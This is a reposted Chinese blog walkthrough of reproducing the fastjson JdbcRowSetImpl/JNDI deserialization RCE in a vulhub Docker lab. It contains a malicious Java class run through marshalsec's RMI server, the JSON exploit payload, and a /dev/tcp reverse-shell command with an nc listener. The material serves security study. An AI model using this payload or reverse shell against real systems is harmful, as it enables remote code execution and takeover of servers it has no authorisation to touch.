ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

fastjson漏洞复现

2021-08-01 14:58:41  阅读:381  来源: 互联网

标签:fastjson dnslog maven 漏洞 复现 服务器 docker rmi


fastjson漏洞复现

fastjson漏洞原理简介

若lookup函数中的参数攻击者可控,便可以指向攻击者的服务器,即可实现JNDI注入实现任意代码执行。

原理(流程):

  1. 攻击者访问目标网站,通过burpsuite抓包,以json的格式添加 JdbcRowSetImpl 恶意类信息,发送给目标机。

  2. 目标机在反序列化的时候,加载攻击者构造的 JdbcRowSetImpl 恶意类(访问rmi服务器),rmi 给靶机下发命令

  3. 目标机得到rmi服务的响应,去执行 dnslog 类(攻击者写好上传给靶机的)

img

靶机环境搭建

kali(192.168.1.106) :安装rmi服务,同时也作为目标机

物理机:作为攻击者

漏洞探测

利用burpsuite抓包,看返回的内容

错误的fastjson格式会被指出

发送一个错的数据包

请添加图片描述

正确的数据包发送

请添加图片描述

可以看到物理主机对docker的连接

漏洞利用

docker 搭建靶机

搭建docker,给fastjson提供运行的环境,也就是搭建靶机环境

//安装docker
apt-get install docker
apt-get install docker-compose
reboot
service docker start 

//安装maven
wget https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
mkdir /opt/maven
tar zxvf apache-maven-3.6.3-bin.tar.gz -C /opt/maven/
//配置maven的环境变量
vim /etc/profile
export MAVEN_HOME=/opt/maven/apache-maven-3.6.3
export PATH=$MAVEN_HOME/bin:$PATH
mvn -version     检验maven是否安装成功


//安装vulhub项目(其中附带fastjson漏洞复现场景)
git clone https://github.com/vulhub/vulhub.git
cd vulhub
cd  fastjson				//进入fastjson 
cd  1.2.24-rce
docker-compose up -d 		//启动fastjson项目。在浏览器中输入---IP地址:8090   
cd  1.2.47-rce
docker-compose up -d 		
ifconfig

请添加图片描述

同时在我们的物理主机上也能访问(输入eth0的IP即可)

请添加图片描述

编译恶意类

javac dnslog.java

用python 启动http服务要在 dnslog所在的目录

import java.lang.Runtime;
import java.lang.Process;

public class dnslog{
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = { "/bin/sh", "-c", "touch /home/kali/success.txt"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
        }
    }
}

启动HTTP服务

在 kali 上启动HTTP服务,保证客户能够访问上述页面,设置监听的端口为9998

能够监听到用户的请求,黑客发起请求,让目标服务器执行,访问rmi服务器(本案例将rmi服务器也放在了kali上)

python -m SimpleHTTPServer 9998 

注意:dnslog.java

请添加图片描述

启动rmi服务

在实际情况下,rmi服务器和 目标靶机是分开的

(在第二张图中)RMIRefserver 后面的内容是 rmi 定义的rmi服务器的地址,还有制定远程加载类 dnslog

git clone https://github.com/mbechler/marshalsec.git
cd marshalsec/
mvn clean package –DskipTests		#编译此项目

请添加图片描述

cd target/
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.106:9998/#dnslog" 9999

请添加图片描述

发送数据

访问 192.168.1.106:8090 ,burpsuite抓包

携待数据发送,就必须将GET 改为 POST

发送 数据的被目标机接收后,目标机会请求rmi服务器,rmi服务器的dnslog文件中定义了目标机要执行的命令,目标机收到这些命令后就会执行。

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.1.106:9999/dnslog",   	
        		#攻击者要通过目标机 去rmi服务器查找dnslog文件,然后rmi服务器转发请求给目标服务器
        "autoCommit":true
    }
}

请添加图片描述

可以看到物理主机对docker的连接。

此外,如果没有下面连接的提示,可以重新尝试

下面的IP地址输入错误,应该是 192.168.1.106:9998/#dnslog

请添加图片描述

下面的Exploit.class是我 执行的另一个类。

请添加图片描述

利用fastjson漏洞反弹shell

反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

反弹shell好文:https://zhuanlan.zhihu.com/p/138393396

  1. 只需要将poc中的内容做更改即可
import java.lang.Runtime;
import java.lang.Process;

public class dnslog{
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = { "/bin/sh", "-c", "/bin/sh -i >& /dev/tcp/目标机IP/端口号 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
        }
    }
}

# kali中反弹shell命令
# sudo sysud64 -uroot /bin/bash -c “/bin/sh -i >& /dev/tcp/192.168.1.106/4444 0>&1”	
  1. 在kali(目标机)上启动http,

  2. 在kali(rmi服务器)上启动rmi服务

  3. 在kali(rmi服务器)上监听端口

nc -lvnp 4444			#kali上(rmi服务器)监听4444端口

请添加图片描述

标签:fastjson,dnslog,maven,漏洞,复现,服务器,docker,rmi
来源: https://blog.csdn.net/weixin_46684578/article/details/119297994

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有